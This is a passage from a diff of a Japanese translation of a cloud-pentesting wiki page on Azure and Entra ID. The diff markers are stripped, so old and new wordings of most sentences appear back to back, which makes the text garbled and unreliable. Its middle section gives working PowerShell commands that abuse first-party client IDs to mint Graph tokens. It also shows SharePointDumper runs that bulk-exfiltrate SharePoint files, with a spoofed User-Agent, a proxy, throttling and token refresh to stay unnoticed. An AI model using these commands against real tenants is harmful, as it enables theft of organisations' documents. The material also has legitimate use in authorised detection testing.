Azure ロールの詳細については次を参照してください
Azure ロールの詳細については次を参照してください:
{{#ref}}
../az-basic-information/
@@ -939,7 +1014,7 @@ Headers = @{
### Entra ID ロール
Azure ロールの詳細については以下を参照してください
Azure ロールの詳細についてはを参照してください:
{{#ref}}
../az-basic-information/
@@ -1060,12 +1135,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> デバイスVM **AzureAD joined** の場合、AzureAD のユーザーは **ログイン可能**す。\
> さらに、ログインしているユーザーがデバイスの **Owner** であれば、そのユーザーは **local admin** になります。
> デバイスVMが**AzureAD joined**の場合、AzureADのユーザーは**ログイン可能**になります。\
> さらに、ログインしているユーザーがデバイスの**Owner**であれば、そのユーザーは**local admin**になります。
### 管理単位
### 管理ユニット
管理単位の詳細については以下を参照してください:
管理ユニットの詳細については、次を参照してください:
{{#ref}}
../az-basic-information/
@@ -1102,12 +1177,12 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
攻撃者は、**delegated Microsoft Graph token** に **`Sites.Read.All`** または **`Sites.ReadWrite.All`** が含まれている場合、Graph 上で **sites/drives/items** を列挙し、その後 **SharePoint pre-authentication download URLs**access token を埋め込んだ時間制限付きURL経由でファイル内容を取得できます。[SharePointDumper](https://github.com/zh54321/SharePointDumper) スクリプトはフロー全体(列挙 → pre-auth ダウンロード)を自動化し、検出テスト用にリクエストごとのテレメトリを出力します。
**delegated Microsoft Graph token** を持ち、**`Sites.Read.All`** または **`Sites.ReadWrite.All`** を含む攻撃者は、Graph 上で **sites/drives/items** を列挙し、**SharePoint pre-authentication download URLs**(アクセス トークンを埋め込んだ有効期限付きURLを介してファイル内容を取得でき。[SharePointDumper](https://github.com/zh54321/SharePointDumper) スクリプトはフロー全体(列挙 → pre-auth downloads)を自動化し、検出テスト用にリクエストごとのテレメトリを出力す
### 利用可能な委任トークンの取得
- SharePointDumper 自体は **認証を行わない**access token任意で refresh tokenを供給してください
- 事前に同意された **first-party clients** は、アプリを登録せずに Graph token を発行させる目的で悪用できます。例:`Invoke-Auth`[EntraTokenAid](https://github.com/zh54321/EntraTokenAid) から)の呼び出し:
- SharePointDumper 自体は **認証を行わない**アクセストークン(必要に応じてリフレッシュトークン)を渡す必要がある
- 事前に同意された **first-party clients** は、アプリを登録せずに Graph トークンを発行するために悪用できる。例: `Invoke-Auth`from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid))の呼び出し:
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1120,32 +1195,32 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> FOCI TRUE クライアントはデバイス間でのリフレッシュをサポートします。FOCI FALSE クライアントは、reply URL origin validation を満たすためにしばしば `-Origin` を必要とします。
> FOCI TRUE clients はデバイス間でのリフレッシュをサポートします。FOCI FALSE clients は reply URL origin 検証を満たすためにしばしば `-Origin` を必要とします。
### SharePointDumper を使った enumeration + exfiltration の実行
### SharePointDumper を enumeration + exfiltration のために実行する
- カスタム UA / proxy / throttling を指定した Basic dump:
- Basic dump with custom UA / proxy / throttling:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
- スコープ制御: サイトや拡張機能の包含/除外、およびグローバル限:
- スコープ制御: サイトや拡張機能の含める/除外とグローバル限:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **再開** 中断された実行再列挙しますが、ダウンロード済みの項目はスキップします:
- **再開** 中断た実行再列挙します (ダウンロード済みのアイテムはスキップします):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **HTTP 401でのAutomatic token refresh** (EntraTokenAid読み込必要があります):
- **HTTP 401 での自動トークン更新** (EntraTokenAid読み込まれている必要があります):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
操作メモ:
運用ノート:
- 実行中の期限切れを避けるため、**CAE-enabled** トークンを優先使用します。リフレッシュ試行はツールの API ログに**記録されません**。
- **Graph + SharePoint** 用の **CSV/JSON request logs** を生成し、組み込みの SharePoint ダウンロードトークンをデフォルトでマスク(切替可能)。
- 検出IR テスト中のトラフィック調整のため、**custom User-Agent**、**HTTP proxy**、**per-request delay + jitter**、および **Ctrl+C-safe shutdown** をサポート。
- Prefers **CAE-enabled** tokens to avoid mid-run expiry; refresh attempts are **not** logged in the tools API log.
- Generates **CSV/JSON request logs** for **Graph + SharePoint** and redacts embedded SharePoint download tokens by default (toggleable).
- Supports **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, and **Ctrl+C-safe shutdown** for traffic shaping during detection/IR tests.
## Entra ID Privilege Escalation
@@ -1163,29 +1238,29 @@ Import-Module ./EntraTokenAid/EntraTokenAid.psm1
### Privileged Identity Management (PIM)
Privileged Identity Management (PIM) は Azure で、ユーザーに不必要な過剰な権限が割り当てられるのを**防ぐ**のに役立ちます。
Azure の Privileged Identity Management (PIM) は、ユーザーに不必要な過剰な権限が割り当てられるのを防ぐのに役立ちます。
PIM の主な機能の一つは、常時アクティブな主体にロールを割り当てるのではなく、一定期間(例: e.g. 6months**eligible** にすることができる点です。ユーザーがそのロールを有効化したい場合、必要な間(例: e.g. 3 hoursを指定して申請し、**管理者が承認**する必要があります。\
ユーザーは有効期間を**延長**することもできます。
PIM の主な機能の一つは、常時アクティブな状態でロールを割り当てるのではなく、ユーザーを一定期間「eligible6ヶ月」にしておける点です。ユーザーがそのロールを有効化したい場合、必要な間(例3時間を指定して要求を行い、そこで管理者がそのリクエストを承認する必要があります。\
ユーザーは有効化時間の延長を要求することもできます。
さらに、特権ロールが誰かに割り当てられるたびに、**PIM はメールを送信します**
さらに、特権ロールが誰かに割り当てられたときに、PIM はメールを送信します。
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
PIM が有効な場合、各ロールに対して次のような要件を設定できます:
PIM が有効化されていると、各ロールに対して次のような要件を設定できます:
- 最大有効化期間 (hours)
- 有効化時に MFA を要求
- 有効化時に Conditional Access authentication context を要求
- 有効化時に justification を要求
- 有効化時にチケット情報を要求
- 有効化するには承認を要求
- eligible 割り当てが期限切れになるまでの最大時間
- そのロールで特定の操作が発生したときにいつ誰に通知を送るか等、さらに多くの設定
- 有効化の最大期間(時間)
- 有効化時に MFA を要求する
- Conditional Access authentication context を要求する
- 有効化時に正当化(justificationを要求する
- 有効化時にチケット情報を要求する
- 有効化承認を要求する
- eligible 割り当てが失効するまでの最大時間
- そのロールで特定のアクションが発生したときに誰に通知を送るか等、さらに多くの設定
### Conditional Access Policies
Check:
確認:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -1193,23 +1268,23 @@ Check:
### Entra Identity Protection
Entra Identity Protection は、ユーザーやサインインが受け入れられるにはリスクが高ぎるかどうかを**検出**し、ユーザーまたはサインイン試行を**ブロック**できるセキュリティサービスです。
Entra Identity Protection は、ユーザーやサインインが受け入れられるにはリスクが高ぎるかを検出し、ユーザーサインイン試行をブロックできるようにするセキュリティサービスです。
管理者はリスクがLow and above」「Medium and above」「Highのいずれかのレベルで試行を**ブロック**するよう設定できます。ただし、デフォルトでは完全に**無効**です。
管理者はリスクが "Low and above"、"Medium and above"、"High" のいずれかに達した場合に試行を **block** するよう設定できます。ただし、デフォルトでは完全に **disabled** になっています:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> 現在では、同オプションを設定できる Conditional Access policies を通じてこれらの制限を追加することが推奨されています。
> 現在では、同様のオプションを設定できる Conditional Access policies を通じてこれらの制限を追加することが推奨されています。
### Entra Password Protection
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、複数のログイン失敗が発生した際にアカウントをロックアウトすることで、弱いパスワードの悪用を**防ぐ**セキュリティ機能です。\
また、提供するカスタムパスワードリストを**禁止 (ban)** することもできます。
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、複数のログイン失敗が発生した際にアカウントをロックして弱いパスワードの悪用を防ぐのに役立つセキュリティ機能です。\
また、管理者が提供するカスタムパスワード禁止リストを設定することもできます。
クラウドレベルおよびオンプレミスの Active Directory の両方に**適用可能**です。
これはクラウドレベルおよびオンプレミスの Active Directory の両方に適用できます。
デフォルトモードは**Audit**です:
デフォルトモードは **Audit** です:
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>